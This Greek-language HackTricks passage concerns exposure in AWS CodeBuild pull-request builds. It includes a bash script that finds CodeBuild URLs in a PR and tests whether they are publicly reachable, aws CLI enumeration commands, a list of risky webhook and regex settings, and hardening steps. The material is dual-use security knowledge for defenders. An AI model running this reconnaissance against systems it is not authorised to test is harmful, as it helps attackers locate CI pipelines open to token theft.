**Details** link. +3. **PR commits list** -> κάντε κλικ στο check context που είναι επισυναπτόμενο σε ένα commit. + +Για δημόσια projects, αυτό το link μπορεί να αποκαλύψει μεταδεδομένα/διαμόρφωση του build σε μη αυθεντικοποιημένους χρήστες. + +
+Script: detect CodeBuild URLs in a PR and test if they look public +```bash +#!/usr/bin/env bash +set -euo pipefail + +# Usage: +# ./check_pr_codebuild_urls.sh +# +# Requirements: gh, jq, curl + +OWNER="${1:?owner}" +REPO="${2:?repo}" +PR="${3:?pr_number}" + +for bin in gh jq curl timeout; do +command -v "$bin" >/dev/null || { echo "[!] Missing dependency: $bin" >&2; exit 1; } +done + +tmp_commits="$(mktemp)" +tmp_urls="$(mktemp)" +trap 'rm -f "$tmp_commits" "$tmp_urls"' EXIT + +gh_api() { +timeout 20s gh api "$@" 2>/dev/null || true +} + +# Get all commit SHAs in the PR (bounded call to avoid hangs) +gh_api "repos/${OWNER}/${REPO}/pulls/${PR}/commits" --paginate --jq '.[].sha' > "$tmp_commits" +if [ ! -s "$tmp_commits" ]; then +echo "[!] No commits found (or API call timed out/failed)." >&2 +exit 1 +fi + +echo "[*] PR commits:" +cat "$tmp_commits" +echo + +echo "[*] Searching commit statuses/check-runs for CodeBuild URLs..." + +while IFS= read -r sha; do +[ -z "$sha" ] && continue + +# Classic commit statuses (target_url) +gh_api "repos/${OWNER}/${REPO}/commits/${sha}/status" \ +--jq '.statuses[]? | .target_url // empty' 2>/dev/null || true + +# GitHub Checks API (details_url) +gh_api "repos/${OWNER}/${REPO}/commits/${sha}/check-runs" \ +--jq '.check_runs[]? | .details_url // empty' 2>/dev/null || true +done < "$tmp_commits" | sort -u > "$tmp_urls" + +grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true + +echo +echo "[*] Public-access heuristic:" +echo " - If URL redirects to signin.aws.amazon.com -> likely not public" +echo " - If URL is directly reachable (HTTP 200) without auth redirect -> potentially public" +echo + +cb_urls="$(grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true)" +if [ -z "$cb_urls" ]; then +echo "[*] No CodeBuild URLs found in PR statuses/check-runs." +exit 0 +fi + +while IFS= read -r url; do +[ -z "$url" ] && continue +final_url="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{url_effective}' "$url" || true)" +code="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{http_code}' "$url" || true)" + +if echo "$final_url" | grep -qi 'signin\.aws\.amazon\.com'; then +verdict="NOT_PUBLIC_OR_AUTH_REQUIRED" +elif [ "$code" = "200" ]; then +verdict="POTENTIALLY_PUBLIC" +else +verdict="UNKNOWN_CHECK_MANUALLY" +fi + +printf '%s\t%s\t%s\n' "$verdict" "$code" "$url" +done <<< "$cb_urls" +``` +Δοκιμάστηκε και λειτουργεί με: +```bash +bash /tmp/check_pr_codebuild_urls.sh carlospolop codebuild-codebreach-ctf-lab 1 +``` +
+ +## Σύντομη λίστα ελέγχου +```bash +# Enumerate projects +aws codebuild list-projects + +# Inspect source/webhook configuration +aws codebuild batch-get-projects --names + +# Inspect global source credentials configured in account +aws codebuild list-source-credentials +``` +Ελέγξτε κάθε έργο για: + +- `webhook.filterGroups` που περιέχουν PR events. +- `ACTOR_ACCOUNT_ID` πρότυπα που δεν είναι αγκυρωμένα με `^...$`. +- `pullRequestBuildPolicy.requiresCommentApproval` με τιμή `DISABLED`. +- Έλλειψη περιορισμών branch/path. +- `serviceRole` υψηλών προνομίων. +- Επικίνδυνη εμβέλεια και επαναχρησιμοποίηση των source credentials. + +## Οδηγίες θωράκισης + +1. Απαιτήστε έγκριση σχολίου για PR builds (`ALL_PULL_REQUESTS` ή `FORK_PULL_REQUESTS`). +2. Εάν χρησιμοποιείτε allowlists για actors, αγκυρώστε τα regex και κρατήστε τα ακριβή. +3. Προσθέστε περιορισμούς `FILE_PATH` για να αποφύγετε μη αξιόπιστες τροποποιήσεις του `buildspec.yml` και των CI scripts. +4. Διαχωρίστε τα αξιόπιστα release builds από τα μη αξιόπιστα PR builds σε ξεχωριστά projects/roles. +5. Χρησιμοποιήστε λεπτομερή, με ελάχιστα προνόμια source-provider tokens (προτιμήστε αφιερωμένες low-privilege ταυτότητες). +6. Επιθεωρείτε συνεχώς τα webhook filters και τη χρήση των source credentials. + +## Αναφορές + +- [Wiz: CodeBreach - AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild) +- [AWS CodeBuild API - WebhookFilter](https://docs.aws.amazon.com/codebuild/latest/APIReference/API_WebhookFilter.html) +- [AWS CLI - codebuild create-webhook](https://docs.aws.amazon.com/cli/latest/reference/codebuild/create-webhook.html) +- [AWS CodeBuild User Guide - Best practices for webhooks](https://docs.aws.amazon.com/codebuild/latest/userguide/webhooks.html) + +{{#include ../../../../banners/hacktricks-training.md}}